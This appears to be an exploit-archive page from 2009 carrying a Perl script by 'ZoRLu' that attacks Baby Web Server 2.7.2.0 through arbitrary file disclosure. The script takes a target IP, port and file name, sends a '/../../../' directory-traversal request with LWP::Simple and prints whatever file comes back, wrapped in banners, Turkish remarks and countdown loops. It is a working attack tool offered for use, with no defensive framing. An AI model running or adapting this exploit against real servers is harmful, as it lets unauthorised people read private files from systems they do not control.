Home / os / win10

bws-disclose.txt

Posted on 30 April 2009

#!/usr/bin/perl -w
#
# Found By : ZoRLu
#
# Home: yildirimordulari.com , dafgamers.com , z0rlu.blogspot.com
#
# Not: Bana Bug BulamIyorum, YapamIyorum Demeyin a.q Elin Gavuru YapIyor Sizler Niye YapamIyorsunuz. istemiyorsunuz isteseniz Sizlerde YaparsInýz
#
# Thanks: Str0ke, Cyber-Zone, Stack, AlpHaNiX, W0cker, Dr.Ly0n, ThE g0bL!N and all Friends
#
# Tested under my vista pc
#
# Download : http://www.mydesign.gen.tr/download/469.html
#
# Download : http://www.mydesign.gen.tr/yonlen/469.html
#
# Print: http://img186.imageshack.us/img186/8315/86639552.jpg

use LWP::Simple;
use LWP::UserAgent;

print "
 Baby Web Server 2.7.2.0 Arbitrary File Disclosure Exploit

";

print "*************************************************************************
";
print "*             Exploited By : ZoRLu                                      *
";
print "*                      msn : trt-turk[at]hotmail.com                    *
";
print "*                     Home : yildirimordulari.com , dafgamers.com       *
";
print "*                       Not: Turkiye Cumhuriyeti                        *
";
print "*************************************************************************



";

if(@ARGV < 3)
{
print "[-]Exp KullanIm HatasI
";
print "[-]Ornegi inceleyin

";
&help; exit();
}
sub help()
{
print "[+] KullanIm : perl $0 IP Port File
";
print "[+] Ornek    : perl $0 127.0.0.1 80 zorlu.ini
";
}
($TargetIP, $Port, $File) = @ARGV;
print("Bekle Lutfen ! Server a BaglanIyor...... 
");
print("Please Wait  !  Connet to Server ......


");
sleep(5);

print("          Z                            Z
");
print("          O                            O
");
print("          R        Wait...             R
");
print("          L                            L
");
print("          U                            U


");


$Not1="Gonlum Bir KitaptIr Bekler Masanda";
$Not2="Okusanda Olur, Okumasanda!!!";
$path="/../../../";
my $y0t = "http://" . $TargetIP . ":" . $Port . $path . $File;
print("islem BasladI....    |80

");
print("Started....

");
sleep(1);
print("1
");
sleep(1);
print("2
");
sleep(1);
print("3
");
sleep(1);
print("4
");
sleep(1);
print("5
");
sleep(1);
print("6
");
sleep(1);
print("7
");
sleep(1);
print("8
");
sleep(1);
print("9
");
sleep(1);
print("10
");
sleep(1);
print("11
");
sleep(1);
print("12
");
sleep(1);
print("13
");
sleep(1);
print("14
");
sleep(1);
print("15

");
sleep(2);
print("islem TamamlandI !!! 5 sn sonra hersey hazIr

");
print("it is done !!!  you will wait 5 min

");
print("

");
print("1
");
sleep(1);
print("2
");
sleep(1);
print("3
");
sleep(1);
print("4
");
sleep(1);
print("5

");
sleep(1);
print("TamamdIr!!!

");
print("Done!!!

");
sleep(2);
$ourfile=get $y0t;
if($ourfile){
print("


............Our File...........

");
print("$ourfile 

");
print(".........................EOF.......................

");
print("islem Tamam

");
print("Not:

");
print("$Not1
");
print("$Not2


");
}
else
{
print(".........................EOF.......................

");
print(" Dosya BulunamadI !!!

");
print(" Not Found !!!

");
exit;
}

 

TOP